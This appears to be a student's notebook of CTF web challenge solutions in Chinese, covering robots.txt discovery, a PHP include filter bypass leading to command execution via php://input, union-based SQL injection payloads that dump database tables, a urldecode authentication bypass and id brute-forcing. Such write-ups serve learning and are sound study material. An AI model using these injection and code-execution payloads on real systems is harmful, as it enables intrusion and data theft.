**
攻防世界做题记录
bugku web7
//多次抓放包得到flag
原本思路:
抓包发现有提示:flag is here
想利用burp suite使函数调用停止或变慢,然后查看flag
但是由于知识有限就只能慢慢抓放包
baby_web
提示初始界面,于是想到index.php,用burp抓包后得到flag
Training-WWW-Robots
由root协议直接在url后输入robot.txt发现禁止爬取的网页
在url后输入f10g.php即可获得flag
Web_php_include
**
涉及知识点:
1.str_replace(被替换的,要替换成为的,进行替换行为的字符串或数组) 用来替换字符串中的一些字符(区分大小写)
2. strstr(原字符串,搜索的字符串) 函数搜索一个字符串在另一个字符串中的第一次出现。该函数对大小写敏感
如果找到,返回该字符串若没有返回false
3.(include()是有条件包含函数,而require()则是无条件包含函数)
include 使用方法如 include(“includeFile.php”); 。这个函式一般是放在流程控制的处理区段中
PHP 程式网页在读到 include 的档案时,才将它读进来。这种方式,可以把程式执行时的流程简单化。
引入是有条件的,发生在程序执行时,只有条件成立时才导入(可以简化编译生成的代码)。//区别于require
4.show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。
show_source() 是 highlight_file() 的别名。
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
语法
show_source(filename,return)
• filename
• 必需。
• 规定要显示的文件。
• return
• 可选。
• 如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。
• 默认是 FALSE。
• 返回值
• 如果 return 参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。
• 否则,如果成功则返回 TRUE,如果失败则返回 FALSE。
<?php
show_source(__FILE__); //显示的文件
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) { //若传参page中有 php:// 时进入循环
$page=str_replace("php://", "", $page); //将php://替换为空格
}
include($page); //导入page中文件
?>
思路:
1.绕过循环替换,由查阅函数发现strstr对大小写敏感(stistr不敏感)则可以利用大写传入
2.由资料得show_source() 函数:整个文件都将被显示,包括密码和其他敏感信息!所以只要将代码写入文档中,即可读出文档
3.查阅php发现 php://input 是个可以访问请求的原始数据的只读流
4.于是url中传参 ?page=“PHP://input” 然后抓包啥也没发生,又细查了一下
发现 php://input 用于执行php代码,需要post请求提交数据,其不能获取以get方式传过的数据
卡住了于是查看wp
5.有https://blog.csdn.net/Auuuuuuuu/article/details/88778852得知可以使用命令注入
6.在抓包时传入<?php system(“Is”) ?>
发现多出来东西,于是再次改为<?php system(“cat falgxxxxx”) ?>发送得到flag
//cat, ls属于linux命令暂时还没学放一下
NewsCenter
通过测试发现属于字符型注入,手动注入即可得详细
注入方法查看
数据库名 news 1' union select 1,database(),3 #
列名 secret_table 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #
数据 id,fl4g 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=" secret_table" #
最后查询fl4g得flag 1' union select 1,group_concat(fl4g) from secret_table #
php2
php2
1.当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode
_GET本身有一次urldecode
urldecode 用于解码已编码的 URL 字符串,其原理就是把十六进制字符串转换为中文字符
字母的url编码
字符的url编码就是:
字符的十六进制前面加了个百分号
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
思路:
绕过第一个if,成功比对第二个if
即利用编码绕过第一个if,解码与第二个if达成匹配
php2
1.当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode
_GET本身有一次urldecode
字符的url编码就是:
字符的十六进制前面加了个百分号
urlencode()函数原理就是首先把中文字符转换为十六进制,然后在每个字符前面加一个标识符%。
urldecode()函数与urlencode()函数原理相反,用于解码已编码的 URL 字符串,其原理就是把十六进制字符串转换为中文字符
ics-06
爆破id
本来以为是sql注入,结果注了白天都没反应
后面才知道是爆破id,,,
拿burp suite爆破出id
???我的攻防世界为啥打不开环境 裂开